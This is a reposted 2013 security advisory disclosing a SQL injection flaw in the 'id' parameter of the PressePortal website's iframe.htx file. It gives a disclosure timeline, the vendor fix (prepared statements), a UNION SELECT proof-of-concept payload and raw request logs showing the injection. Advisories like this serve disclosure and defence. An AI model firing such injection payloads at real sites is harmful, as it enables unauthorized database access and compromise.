NewsAktuell PressePortal DE - Remote SQL Injection Web Vulnerability

Type securityvulns
Reporter Securityvulns
Modified 2013-12-09T00:00:00


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NewsAktuell PressePortal DE - Remote SQL Injection Web Vulnerability

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Abstract Advisory Information:

The Vulnerability Laboratory Research Team discovered a critical SQL Injection web vulnerability in the official News-Aktuell - PressePortal website web-application.

Vulnerability Disclosure Timeline:

2013-04-26: Researcher Notification & Coordination (Marco Onorati) 2013-05-01: Vendor Notification (PressePortal Team) 2013-11-28: Vendor Response/Feedback(PressePortal Team) 2013-11-28: Vendor Fix/Patch (PressePortal Developer Team) 2013-11-29: Public Disclosure (Vulnerability Laboratory)

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Technical Details & Description:

A remote sql injection web vulnerability has been discovered in the official News-Aktuell - PressePortal website web-application. The vulnerability allows remote attacker to execute own sql commands by usage of a vulnerable application value GET method request.

The vulnerability is located in the `../services/content` module with the vulnerable iframe.htx file. Remote attackers are able to inject own sql commands by usage of the vulnerable `id` parameter. After the inject the website returns with a a obviously blank page but when you watch the source the execute is in the listed rss and context values. The issue is a classic remote sql injection. The security risk of the remote sql injection web vulnerability is estimated as critical with a cvss (common vulnerability scoring system) count of 8.7(+).

Exploitation of the sql injection web vulnerability requires no privileged web application user account and also no user interaction. Successful exploitation of the vulnerability results in web application (website), account system & dbms compromise.

Vulnerable Module(s): [+] services/content

Vulnerable File(s): [+] iframe.htx

Vulnerable Parameter(s): [+] id

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Proof of Concept (PoC):

The remote sql injection web vulnerability can be exploited by remote attackers without user interaction and also without privileged web application user account. For security demonstration or to reproduce the vulnerability follow the provided information and steps below.

PoC: Remote SQL Injection,2,3,4,5,6,7,8,@@version,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43, 44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60%20+--+%20&inc=true

-- PoC Session Logs [GET] --- Status: 200[OK] GET ?id=b17ea41fbd7d93bcdda63799dd904314%27%20%20and%201=2%20%20union%20select%201,2,3,4,5,6,7,8,@@version,10,11,12,13,14,15,16,17,18,19,20,21,22, 23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60%20+--+%20&inc=true Load Flags[VALIDATE_ALWAYS LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Content Size[3145] Mime Type[text/html]

Request Headers: Host[] User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] DNT[1] Cookie[PHPSESSID=emou1lkl2c3vin16agjg90eig1;; __utma=239002817.282394538.1385649109.1385649109.1385649109.1; __utmb=239002817.4.10.1385649109; __utmc=239002817; __utmz=239002817.1385649109.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __atuvc=2%7C48; POPUPCHECK=1385735515782] Connection[keep-alive] Cache-Control[max-age=0]

Response Headers: Date[Thu, 28 Nov 2013 14:52:27 GMT] Server[Apache] X-Powered-By[PHP/5.3.27] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0] Pragma[no-cache] Content-Type[text/html] Content-Length[3145] Connection[Keep-alive] Via[1.1 AN-0003011040777600]


Picture(s): ../1.png ../2.png ../3.png

Resource(s): ../iframe.htx.htm

Solution - Fix & Patch:

The vulnerability can be patched by usage of a secure (prepared) statement in the id GET method request of the iframe.htx file.

Security Risk:

The security risk of the remote sql injection web vulnerability is estimated as critical. The vulnerability allows attackers to compromise the application, web-server and service dbms.

Credits & Authors:

Vulnerability Laboratory [Research Team] - Marco Onorati ( []

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